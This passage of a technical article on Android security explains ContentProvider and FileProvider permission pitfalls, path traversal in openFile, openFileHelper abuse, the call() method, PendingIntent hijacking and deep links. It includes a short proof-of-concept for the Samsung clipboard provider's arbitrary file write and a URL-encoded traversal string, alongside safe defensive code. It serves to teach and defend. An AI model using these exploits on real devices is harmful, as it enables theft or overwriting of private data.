    android:<span class="hljs-attr">authorities</span>=<span class="hljs-string">"sms"</span>
    android:<span class="hljs-attr">multiprocess</span>=<span class="hljs-string">"false"</span>
    android:<span class="hljs-attr">exported</span>=<span class="hljs-string">"true"</span>
    android:<span class="hljs-attr">singleUser</span>=<span class="hljs-string">"true"</span>
    android:<span class="hljs-attr">readPermission</span>=<span class="hljs-string">"android.permission.READ_SMS"</span> />
</code></pre><p>If other applications want to access, they need to declare the corresponding permissions in the manifest file.</p><pre data-type="codeBlock" text="&lt;uses-permission android:name=&quot;android.permission.READ_SMS&quot; /&gt;
"><code><span class="hljs-operator">&#x3C;</span>uses<span class="hljs-operator">-</span>permission android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.permission.READ_SMS"</span> <span class="hljs-operator">/</span><span class="hljs-operator">></span>
</code></pre><p>This is all well understood, and other components have similar characteristics. In addition, Provider itself provides more fine-grained permission control, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/guide/topics/manifest/provider-element#gprmsn">namely</a> grantUriPermissions . This is a boolean indicating whether to temporarily grant clients access to this provider. The operation process of temporarily granting permissions is generally as follows:</p><ul><li><p>The client sends an Intent to the application where the Provider is located, specifying the Content URI to be accessed, such as using startActivityForResultto send.</p></li></ul><ul><li><p>After the application receives the Intent, it judges whether it is authorized. If it is confirmed, it prepares an Intent and sets the flags flag to FLAG_GRANT_[READ|WRITE]_URL_PERMISSIONindicate that it is allowed to read/write the corresponding Content URI (it may not be consistent with the requested URI), and finally setResult(code, intent)returns.</p></li></ul><ul><li><p>The client&apos;s onActivityResult receives the returned Intent, and uses the URI to temporarily access the target Provider.</p></li></ul><p>Take read as an example, Intent.flagsif <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/reference/android/content/Intent.html#FLAG_GRANT_READ_URI_PERMISSION">FLAG_GRANT_READ_URI_PERMISSION</a> is included in the Intent, the recipient of the Intent (ie the client) will be granted temporary read permission for Intent.datapart of the URI until the life cycle of the recipient ends. In addition, the Provider application can also actively call the Context.grantUriPermissionmethod to grant the corresponding permissions to the target application:</p><pre data-type="codeBlock" text="public abstract void grantUriPermission (String toPackage, 
                Uri uri, 
                int modeFlags)
public abstract void revokeUriPermission (String toPackage, 
                Uri uri, 
                int modeFlags)
"><code><span class="hljs-keyword">public</span> <span class="hljs-keyword">abstract</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">grantUriPermission</span> <span class="hljs-params">(String toPackage, 
                Uri uri, 
                <span class="hljs-type">int</span> modeFlags)</span>
<span class="hljs-keyword">public</span> <span class="hljs-keyword">abstract</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">revokeUriPermission</span> <span class="hljs-params">(String toPackage, 
                Uri uri, 
                <span class="hljs-type">int</span> modeFlags)</span>
</code></pre><p>The grantUriPermissions attribute can perform read-write control on permissions at the URI granularity, but there is one point to note: the permissions temporarily granted through grantUriPermissions will ignore the restrictions imposed by the readPermission, writePermission, permission, and exported attributes . In other words, even if exported=falsethe client does not apply for the corresponding one uses-permission, once the permission is granted, it can still access the corresponding Content Provider!</p><p>In addition, &lt;provider&gt;there is a sub-label grant-uri-permission . Even if grantUriPermissions is set to false, you can still access the URI subset defined under this label by temporarily obtaining permissions. This subset can use prefixes or wildcards to specify the authorized path of URI scope.</p><p>Improper setting of Provider permissions may lead to application data being accessed by unexpected malicious programs, which may lead to information leakage, or cause the sandbox data to be overwritten and cause RCE. We will see many such cases later.</p><h3 id="h-fileprovider" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">FileProvider</h3><p>As mentioned earlier, a custom Provider needs to implement six methods, but Android has written corresponding subclasses for Providers in some common scenarios. Users can inherit these subclasses and implement a few subclass methods as needed. One of the common scenarios is to use ContentProvider to share application files. The system provides FileProviderto facilitate application custom file sharing and access. However, if it is not used properly, arbitrary file reading and writing problems may occur.</p><p>FileProvider provides the function of using XML to specify file access control. Generally, Provider applications only need to inherit the FileProvider class:</p><pre data-type="codeBlock" text="public class MyFileProvider extends FileProvider {
   public MyFileProvider() {
       super(R.xml.file_paths)
   }
}
"><code><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">MyFileProvider</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">FileProvider</span> {
   <span class="hljs-keyword">public</span> <span class="hljs-title function_">MyFileProvider</span><span class="hljs-params">()</span> {
       <span class="hljs-built_in">super</span>(R.xml.file_paths)
   }
}
</code></pre><p>file_pathsis user-defined XML, and can also be specified in meta-datathe :</p><pre data-type="codeBlock" text="&lt;provider xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot; android:name=&quot;com.evilpan.MyFileProvider&quot; android:exported=&quot;false&quot; android:authorities=&quot;com.evilpan.fileprovider&quot; android:grantUriPermissions=&quot;true&quot;&gt;
  &lt;meta-data android:name=&quot;android.support.FILE_PROVIDER_PATHS&quot; android:resource=&quot;@7F15000E&quot;/&gt;
&lt;/provider&gt;
"><code><span class="hljs-operator">&#x3C;</span>provider xmlns:android<span class="hljs-operator">=</span><span class="hljs-string">"http://schemas.android.com/apk/res/android"</span> android:name<span class="hljs-operator">=</span><span class="hljs-string">"com.evilpan.MyFileProvider"</span> android:exported<span class="hljs-operator">=</span><span class="hljs-string">"false"</span> android:authorities<span class="hljs-operator">=</span><span class="hljs-string">"com.evilpan.fileprovider"</span> android:grantUriPermissions<span class="hljs-operator">=</span><span class="hljs-string">"true"</span><span class="hljs-operator">></span>
  <span class="hljs-operator">&#x3C;</span>meta<span class="hljs-operator">-</span>data android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.support.FILE_PROVIDER_PATHS"</span> android:resource<span class="hljs-operator">=</span><span class="hljs-string">"@7F15000E"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>provider<span class="hljs-operator">></span>
</code></pre><p>resourcepoint to res/xml/file_paths.xml. The file paths that can be accessed are defined in this file, and FileProvider will only generate Content URIs for files specified in advance. An example file path configuration is as follows:</p><pre data-type="codeBlock" text="&lt;paths&gt;
  &lt;root-path name=&quot;root&quot; path=&quot;&quot;/&gt;
  &lt;files-path name=&quot;internal_files&quot; path=&quot;.&quot;/&gt;
  &lt;cache-path name=&quot;cache&quot; path=&quot;&quot;/&gt;
  &lt;external-path name=&quot;external_files&quot; path=&quot;images&quot;/&gt;
&lt;/paths&gt;
"><code><span class="hljs-operator">&#x3C;</span>paths<span class="hljs-operator">></span>
  <span class="hljs-operator">&#x3C;</span>root<span class="hljs-operator">-</span>path name<span class="hljs-operator">=</span><span class="hljs-string">"root"</span> path<span class="hljs-operator">=</span><span class="hljs-string">""</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
  <span class="hljs-operator">&#x3C;</span>files<span class="hljs-operator">-</span>path name<span class="hljs-operator">=</span><span class="hljs-string">"internal_files"</span> path<span class="hljs-operator">=</span><span class="hljs-string">"."</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
  <span class="hljs-operator">&#x3C;</span>cache<span class="hljs-operator">-</span>path name<span class="hljs-operator">=</span><span class="hljs-string">"cache"</span> path<span class="hljs-operator">=</span><span class="hljs-string">""</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
  <span class="hljs-operator">&#x3C;</span><span class="hljs-keyword">external</span><span class="hljs-operator">-</span>path name<span class="hljs-operator">=</span><span class="hljs-string">"external_files"</span> path<span class="hljs-operator">=</span><span class="hljs-string">"images"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>paths<span class="hljs-operator">></span>
</code></pre><p>pathsTags support multiple types of sub-tags, corresponding to sub-paths of different directories:</p><ul><li><p>files-path: Context.getFilesDir()</p></li></ul><ul><li><p>cache-path: Context.getCacheDir()</p></li></ul><ul><li><p>external-path: Environment.getExternalStorageDirectory()</p></li></ul><ul><li><p>external-files-path: Context.getExternalFilesDir()</p></li></ul><ul><li><p>external-cache-path: Context.getExternalCacheDir()</p></li></ul><ul><li><p>external-media-path: Context.getExternalMediaDirs()[0]</p></li></ul><p>More specifically root-path, it represents the root directory of the system/ . The URI format generated by FileProvider is generally content://authority/{name}/{path}, for example, for the above Provider, it can be content://com.evilpan.fileprovider/root/proc/self/mapsused to access /proc/self/mapsfiles.</p><p>It can be seen that the FileProvider specification root-pathis a dangerous sign. Once the attacker obtains temporary permissions, he can read all the private data of the application.</p><p>For example, there has been such a real loophole in the history of TikTok:</p><pre data-type="codeBlock" text="&lt;provider android:name=&quot;android.support.v4.content.FileProvider&quot; android:exported=&quot;false&quot; android:authorities=&quot;com.zhiliaoapp.musically.fileprovider&quot; android:grantUriPermissions=&quot;true&quot;&gt;
        &lt;meta-data android:name=&quot;android.support.FILE_PROVIDER_PATHS&quot; android:resource=&quot;@xml/k86&quot;/&gt;
    &lt;/provider&gt;
"><code><span class="hljs-operator">&#x3C;</span>provider android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.support.v4.content.FileProvider"</span> android:exported<span class="hljs-operator">=</span><span class="hljs-string">"false"</span> android:authorities<span class="hljs-operator">=</span><span class="hljs-string">"com.zhiliaoapp.musically.fileprovider"</span> android:grantUriPermissions<span class="hljs-operator">=</span><span class="hljs-string">"true"</span><span class="hljs-operator">></span>
        <span class="hljs-operator">&#x3C;</span>meta<span class="hljs-operator">-</span>data android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.support.FILE_PROVIDER_PATHS"</span> android:resource<span class="hljs-operator">=</span><span class="hljs-string">"@xml/k86"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>provider<span class="hljs-operator">></span>
</code></pre><p>It is used directly here FileProvider, without even needing inheritance. The content of the xml/k86.xml file is as follows:</p><pre data-type="codeBlock" text="&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;
&lt;paths xmlns:amazon=&quot;http://schemas.amazon.com/apk/res/android&quot; xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot; xmlns:app=&quot;http://schemas.android.com/apk/res-auto&quot;&gt;
    &lt;root-path name=&quot;name&quot; path=&quot;&quot;/&gt;
    &lt;external-path name=&quot;share_path0&quot; path=&quot;share/&quot;/&gt;
    &lt;external-path name=&quot;download_path2&quot; path=&quot;Download/&quot;/&gt;
    &lt;cache-path name=&quot;gif&quot; path=&quot;gif/&quot;/&gt;
    ...
&lt;/paths&gt;
"><code><span class="hljs-operator">&#x3C;</span>?xml version<span class="hljs-operator">=</span><span class="hljs-string">"1.0"</span> encoding<span class="hljs-operator">=</span><span class="hljs-string">"utf-8"</span>?<span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span>paths xmlns:amazon<span class="hljs-operator">=</span><span class="hljs-string">"http://schemas.amazon.com/apk/res/android"</span> xmlns:android<span class="hljs-operator">=</span><span class="hljs-string">"http://schemas.android.com/apk/res/android"</span> xmlns:app<span class="hljs-operator">=</span><span class="hljs-string">"http://schemas.android.com/apk/res-auto"</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span>root<span class="hljs-operator">-</span>path name<span class="hljs-operator">=</span><span class="hljs-string">"name"</span> path<span class="hljs-operator">=</span><span class="hljs-string">""</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span><span class="hljs-keyword">external</span><span class="hljs-operator">-</span>path name<span class="hljs-operator">=</span><span class="hljs-string">"share_path0"</span> path<span class="hljs-operator">=</span><span class="hljs-string">"share/"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span><span class="hljs-keyword">external</span><span class="hljs-operator">-</span>path name<span class="hljs-operator">=</span><span class="hljs-string">"download_path2"</span> path<span class="hljs-operator">=</span><span class="hljs-string">"Download/"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span>cache<span class="hljs-operator">-</span>path name<span class="hljs-operator">=</span><span class="hljs-string">"gif"</span> path<span class="hljs-operator">=</span><span class="hljs-string">"gif/"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
    ...
<span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>paths<span class="hljs-operator">></span>
</code></pre><p>After obtaining the temporary permission, the application can read and write arbitrary files.</p><h3 id="h-the-hidden" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Hidden</h3><p>In the ContentProvider class, in addition to the 6 methods that must be implemented, there are some other hidden methods, which are generally implemented by default or can be overridden by subclasses, such as</p><ul><li><p>openFile</p></li></ul><ul><li><p>openFileHelper</p></li></ul><ul><li><p>call</p></li></ul><ul><li><p>...</p></li></ul><p>These hidden methods may inadvertently cause security problems. This section will analyze the reasons through some cases.</p><h3 id="h-openfile" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">OpenFile</h3><p>If ContentProvider wants to implement the function of reading and writing shared files, it can also be implemented by openFileoverriding the method. The default implementation of this method will throw FileNotFoundExceptionan exception.</p><p>Although the developer will not directly return the opened local file in implementation, but selectively return some subdirectory files. However, if the code is not written rigorously, problems such as path traversal may occur. A classic vulnerability implementation is as follows:</p><pre data-type="codeBlock" text="@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    File file = new File(getContext().getFilesDir(), uri.getPath());
    if(file.exists()){
        return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
    }
    throw new FileNotFoundException(uri.getPath());
}
"><code>@Override
<span class="hljs-keyword">public</span> ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    File file <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> File(getContext().getFilesDir(), uri.getPath());
    <span class="hljs-keyword">if</span>(file.exists()){
        <span class="hljs-keyword">return</span> ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
    }
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> FileNotFoundException(uri.getPath());
}
</code></pre><p>Another similar method of the same family openAssetFile, whose default implementation calls openFile:</p><pre data-type="codeBlock" text="public @Nullable AssetFileDescriptor openAssetFile(@NonNull Uri uri, @NonNull String mode)
        throws FileNotFoundException {
    ParcelFileDescriptor fd = openFile(uri, mode);
    return fd != null ? new AssetFileDescriptor(fd, 0, -1) : null;
}
"><code><span class="hljs-selector-tag">public</span> @<span class="hljs-selector-tag">Nullable</span> <span class="hljs-selector-tag">AssetFileDescriptor</span> <span class="hljs-selector-tag">openAssetFile</span>(<span class="hljs-variable">@NonNull</span> Uri uri, <span class="hljs-variable">@NonNull</span> String mode)
        <span class="hljs-selector-tag">throws</span> <span class="hljs-selector-tag">FileNotFoundException</span> {
    <span class="hljs-selector-tag">ParcelFileDescriptor</span> <span class="hljs-selector-tag">fd</span> = <span class="hljs-selector-tag">openFile</span>(uri, mode);
    <span class="hljs-selector-tag">return</span> <span class="hljs-selector-tag">fd</span> != <span class="hljs-selector-tag">null</span> ? <span class="hljs-selector-tag">new</span> <span class="hljs-selector-tag">AssetFileDescriptor</span>(fd, <span class="hljs-number">0</span>, -<span class="hljs-number">1</span>) : <span class="hljs-selector-tag">null</span>;
}
</code></pre><p>Sometimes developers know that they need to defend against path traversal, but the posture of defense is wrong, and there is also the possibility of being bypassed, for example:</p><pre data-type="codeBlock" text="public ParcelFileDescriptor openFile(Uri uri, String mode) {
    File f = new File(DIR, uri.getLastPathSegment());
    return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
"><code><span class="hljs-keyword">public</span> ParcelFileDescriptor openFile(Uri uri, String mode) {
    File f <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> File(DIR, uri.getLastPathSegment());
    <span class="hljs-keyword">return</span> ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
</code></pre><p>Here I want to use getLastPathSegmentto get only the file name of the last level, but in fact it can be bypassed by URL encoded path, for example %2F..%2F..path%2Fto%2Fsecret.txtwill return /../../path/to/secret.txt.</p><p>Yet another false defense is to use the UriMatcher.matchmethod to lookup ../, which is also bypassed by URL encoding. The correct way to defend and filter is as follows:</p><pre data-type="codeBlock" text="public ParcelFileDescriptor openFile (Uri uri, String mode) throws FileNotFoundException {
  File f = new File(DIR, uri.getLastPathSegment());
  if (!f.getCanonicalPath().startsWith(DIR)) {
    throw new IllegalArgumentException();
  }
  return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
"><code><span class="hljs-keyword">public</span> ParcelFileDescriptor openFile (Uri uri, String mode) throws FileNotFoundException {
  File f <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> File(DIR, uri.getLastPathSegment());
  <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>f.getCanonicalPath().startsWith(DIR)) {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> IllegalArgumentException();
  }
  <span class="hljs-keyword">return</span> ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
</code></pre><p>See: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://support.google.com/faqs/answer/7496913?hl=en">Path Traversal Vulnerability</a></p><h3 id="h-openfilehelper" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">OpenFileHelper</h3><p>There is also a little-known openFileHelpermethod Its default implementation is to use the _datacolumn data in the current Provider to open the file. The source code is as follows:</p><pre data-type="codeBlock" text="protected final @NonNull ParcelFileDescriptor openFileHelper(@NonNull Uri uri,
        @NonNull String mode) throws FileNotFoundException {
    Cursor c = query(uri, new String[]{&quot;_data&quot;}, null, null, null);
    int count = (c != null) ? c.getCount() : 0;
    if (count != 1) {
        // If there is not exactly one result, throw an appropriate
        // exception.
        if (c != null) {
            c.close();
        }
        if (count == 0) {
            throw new FileNotFoundException(&quot;No entry for &quot; + uri);
        }
        throw new FileNotFoundException(&quot;Multiple items at &quot; + uri);
    }

    c.moveToFirst();
    int i = c.getColumnIndex(&quot;_data&quot;);
    String path = (i &gt;= 0 ? c.getString(i) : null);
    c.close();
    if (path == null) {
        throw new FileNotFoundException(&quot;Column _data not found.&quot;);
    }

    int modeBits = ParcelFileDescriptor.parseMode(mode);
    return ParcelFileDescriptor.open(new File(path), modeBits);
}
"><code>protected final @NonNull ParcelFileDescriptor openFileHelper(@NonNull Uri uri,
        @NonNull String mode) throws FileNotFoundException {
    Cursor c <span class="hljs-operator">=</span> query(uri, <span class="hljs-keyword">new</span> String[]{<span class="hljs-string">"_data"</span>}, null, null, null);
    <span class="hljs-keyword">int</span> count <span class="hljs-operator">=</span> (c <span class="hljs-operator">!</span><span class="hljs-operator">=</span> null) ? c.getCount() : <span class="hljs-number">0</span>;
    <span class="hljs-keyword">if</span> (count <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>) {
        <span class="hljs-comment">// If there is not exactly one result, throw an appropriate</span>
        <span class="hljs-comment">// exception.</span>
        <span class="hljs-keyword">if</span> (c <span class="hljs-operator">!</span><span class="hljs-operator">=</span> null) {
            c.close();
        }
        <span class="hljs-keyword">if</span> (count <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> FileNotFoundException(<span class="hljs-string">"No entry for "</span> <span class="hljs-operator">+</span> uri);
        }
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> FileNotFoundException(<span class="hljs-string">"Multiple items at "</span> <span class="hljs-operator">+</span> uri);
    }

    c.moveToFirst();
    <span class="hljs-keyword">int</span> i <span class="hljs-operator">=</span> c.getColumnIndex(<span class="hljs-string">"_data"</span>);
    String path <span class="hljs-operator">=</span> (i <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> ? c.getString(i) : null);
    c.close();
    <span class="hljs-keyword">if</span> (path <span class="hljs-operator">=</span><span class="hljs-operator">=</span> null) {
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> FileNotFoundException(<span class="hljs-string">"Column _data not found."</span>);
    }

    <span class="hljs-keyword">int</span> modeBits <span class="hljs-operator">=</span> ParcelFileDescriptor.parseMode(mode);
    <span class="hljs-keyword">return</span> ParcelFileDescriptor.open(<span class="hljs-keyword">new</span> File(path), modeBits);
}
</code></pre><p>The main function of this method is to facilitate subclasses to quickly implement the openFilemethod , and it is usually not directly overridden in subclasses. However, due to the feature of opening files based on _datacolumns , attackers may insert malicious data and indirectly achieve arbitrary file reading and writing.</p><p>A classic case is a Samsung phone SemClipboardProviderthat does not verify user data when plugged in:</p><pre data-type="codeBlock" text="public Uri insert(Uri uri, ContentValues values) {
    long row = this.database.insert(TABLE_NAME, &quot;&quot;, values);
    if (row &gt; 0) {
        Uri newUri = ContentUris.withAppendedId(CONTENT_URI, row);
        getContext().getContentResolver().notifyChange(newUri, null);
        return newUri;
    }
    throw new SQLException(&quot;Fail to add a new record into &quot; + uri);
}
"><code><span class="hljs-keyword">public</span> Uri insert(Uri uri, ContentValues values) {
    long row <span class="hljs-operator">=</span> <span class="hljs-built_in">this</span>.database.insert(TABLE_NAME, <span class="hljs-string">""</span>, values);
    <span class="hljs-keyword">if</span> (row <span class="hljs-operator">></span> <span class="hljs-number">0</span>) {
        Uri newUri <span class="hljs-operator">=</span> ContentUris.withAppendedId(CONTENT_URI, row);
        getContext().getContentResolver().notifyChange(newUri, null);
        <span class="hljs-keyword">return</span> newUri;
    }
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> SQLException(<span class="hljs-string">"Fail to add a new record into "</span> <span class="hljs-operator">+</span> uri);
}
</code></pre><p>The Provider is in the system_serverprocess and has extremely high operating authority. By exploiting this vulnerability, an attacker can read and write arbitrary files at the system level. The PoC is as follows:</p><pre data-type="codeBlock" text="ContentValues vals = new ContentValues();
vals.put(&quot;_data&quot;, &quot;/data/system/users/0/newFile.bin&quot;);
URI semclipboard_uri = URI.parse(&quot;content://com.sec.android.semclipboardprovider&quot;)
ContentResolver resolver = getContentResolver();
URI newFile_uri = resolver.insert(semclipboard_uri, vals);
return resolver.openFileDescriptor(newFile_uri, &quot;w&quot;).getFd(); 
"><code>ContentValues vals <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> ContentValues();
vals.put(<span class="hljs-string">"_data"</span>, <span class="hljs-string">"/data/system/users/0/newFile.bin"</span>);
URI semclipboard_uri <span class="hljs-operator">=</span> URI.parse(<span class="hljs-string">"content://com.sec.android.semclipboardprovider"</span>)
ContentResolver resolver <span class="hljs-operator">=</span> getContentResolver();
URI newFile_uri <span class="hljs-operator">=</span> resolver.insert(semclipboard_uri, vals);
<span class="hljs-keyword">return</span> resolver.openFileDescriptor(newFile_uri, <span class="hljs-string">"w"</span>).getFd(); 
</code></pre><p>This vulnerability has been used in wild attacks together with other vulnerabilities and was captured by the Google TAG team. For the analysis of this Fullchain, please refer to Project Zero&apos;s recent article:<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://googleprojectzero.blogspot.com/2022/11/a-very-powerful-clipboard-samsung-in-the-wild-exploit-chain.html"> A Very Powerful Clipboard: Analysis of a Samsung in-the-wild exploit chain</a></p><h3 id="h-call" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Call</h3><p>The callmethod used to call the method defined by the server, and its function signature is as follows:</p><pre data-type="codeBlock" text="public Bundle call (String authority, 
                String method, 
                String arg, 
                Bundle extras)
public Bundle call (String method, 
                String arg, 
                Bundle extras)
"><code><span class="hljs-keyword">public</span> Bundle <span class="hljs-keyword">call</span> (<span class="hljs-type">String</span> authority, 
                <span class="hljs-type">String</span> method, 
                <span class="hljs-type">String</span> arg, 
                Bundle extras)
<span class="hljs-keyword">public</span> Bundle <span class="hljs-keyword">call</span> (<span class="hljs-type">String</span> method, 
                <span class="hljs-type">String</span> arg, 
                Bundle extras)
</code></pre><p>The default implementation is an empty function that returns directly null. Developers can override this function to implement some dynamic methods, and the return value will also be passed back to the caller.</p><p>It looks similar to a regular RPC call, but there is a small trap here, which is also specially marked in the developer documentation: the Android system does not check the permissions of the callfunction , because the system does not know whether the data is read or written in the call , so it is impossible to judge based on the permission constraints defined in the Manifest. Therefore, developers are required to perform permission verification on the logic in the call.</p><p>If the developer implements this method, but does not perform verification or the verification is insufficient, unauthorized calls may occur. One case is CVE-2021-23243that in the implementation of HostContentProviderBasethe , DexClassLoader is used to directly load the incoming dex file, which directly causes the attacker&apos;s code to run in a privileged process, and all Providers that inherit this base class will be affected () .</p><p>In addition, in some system providers, some remote object instances can be obtained through the call method. For example, in the article<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://paper.seebug.org/1269/"> Special attack surface in Android (3) - hidden call function</a> , the SliceProviderauthor KeyguardSliceProviderobtained the internal system application through and The PendingIntent object is further used to realize the function of forging any broadcast.</p><h2 id="h-other" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Other</h2><p>In addition to the above-mentioned vulnerabilities directly related to the four major components, there are many vulnerabilities in the Android system that are not easy to classify. This section mainly selects a few of the most common vulnerabilities for a brief introdu</p><h3 id="h-pendingintent" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">PendingIntent</h3><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/reference/android/app/PendingIntent">PendingIntent</a> is a representation of Intent, not an Intent object itself, but a Parcelable object. After the object is passed to other applications, other applications can perform the operation specified by the pointed Intent as the sender. A PendingIntent is created using one of the following static methods:</p><ul><li><p>getActivity(Context, int, Intent, int);</p></li></ul><ul><li><p>getActivities(Context, int, Intent[], int);</p></li></ul><ul><li><p>getBroadcast(Context, int, Intent, int);</p></li></ul><ul><li><p>getService(Context, int, Intent, int);</p></li></ul><p>PendingIntent itself is just a reference to the raw data descriptor by the system, which can be roughly understood as Intent. Because of this, even after the application that created the PendingIntent is closed, other applications can still use the data. If the original app is later restarted and creates a PendingIntent with the same parameters, the PendingIntent actually returned will point to the same token as the one created earlier. <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/reference/android/content/Intent#filterEquals(android.content.Intent)">Note that the filterEqual</a>s method is used to judge whether the Intents are the same, which will judge whether the action, data, type, identity, class, and categories are the same. Note that extrait is not listed here, so Intents with only different extras will also be considered equal.</p><p>Since PendingIntent can represent the characteristics of other applications, it may be used for abuse in some scenarios. For example, if a developer creates a default PendingIntent like this and passes it to other applications:</p><pre data-type="codeBlock" text="pi = PendingIntent.getActivity(this, 0, new Intent(), 0);
bundle.putParcelable(&quot;pi&quot;, pi)
// send bundle
"><code>pi <span class="hljs-operator">=</span> PendingIntent.getActivity(<span class="hljs-built_in">this</span>, <span class="hljs-number">0</span>, <span class="hljs-keyword">new</span> Intent(), <span class="hljs-number">0</span>);
bundle.putParcelable(<span class="hljs-string">"pi"</span>, pi)
<span class="hljs-comment">// send bundle</span>
</code></pre><p>After receiving the PendingIntent, the malicious application can obtain the original intent and use Intent.fillinto fill the empty field. If the original Intent is the above empty Intent, the attacker can modify it to a specific Intent, thereby using the target&apos;s identity to launch applications, including unexported private applications. A classic case is the early <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://android.googlesource.com/platform/packages/apps/Settings/+/f5d3e74ecc2b973941d8adbe40c6b23094b5abb7%5E%21/#F0">broadAnywhere</a> vulnerability. The addAccount method in the Android Settings application creates a PendingIntent broadcast, but the content of the intent is empty, which leads to malicious applications that receive the intent to fill in the action of the broadcast, thereby achieving unauthorized transmission The system broadcasts to realize functions such as forging text messages and restoring factory settings.</p><p>In order to alleviate such problems, Andorid has made many restrictions on the rewriting of Intent.fillin, such as existing fields cannot be modified, component and selector fields cannot be modified (unless FILL_IN_COMPONENT/SELECTOR is additionally set), implicit Intent actions cannot be modified, etc. .</p><p>However, some researchers have proposed a method for exploiting implicit Intent, that is, by modifying the flag to add FLAG_GRANT_WRITE_URI_PERMISSION, and modifying the data URI to point to the victim&apos;s private Provider, changing the package to the attacker; at the same time, the attacker declares the same in its own Activity Intent filter, so that when the intent is forwarded, the attacker&apos;s application will be launched, and at the same time, the access authority of the target private Provider will be obtained, so as to realize the theft or overwriting of private files. For details about the attack idea, you can read the following reference article.</p><h3 id="h-deep-link" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Deep Link</h3><p>In most operating systems, there is the concept of deeplink, that is, to open a specific application through a custom schema. For example, by clicking https://evilpan.com/ , you can evoke the default browser to open the target page, clickwill bring up the dial interface, clickWill evoke WeChat, and so on. Regardless of other systems, in Android this is mainly achieved through implicit Intent.</p><p>If an application wants to register a similar custom protocol, it needs to declare it in the application manifest file:</p><pre data-type="codeBlock" text="&lt;intent-filter&gt;
  &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;
  &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;
  &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;
&lt;data android:scheme=&quot;weixin&quot; android:host=&quot;qr&quot;/&gt;
&lt;/intent-filter&gt;
"><code><span class="hljs-operator">&#x3C;</span>intent<span class="hljs-operator">-</span>filter<span class="hljs-operator">></span>
  <span class="hljs-operator">&#x3C;</span>action android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.intent.action.VIEW"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
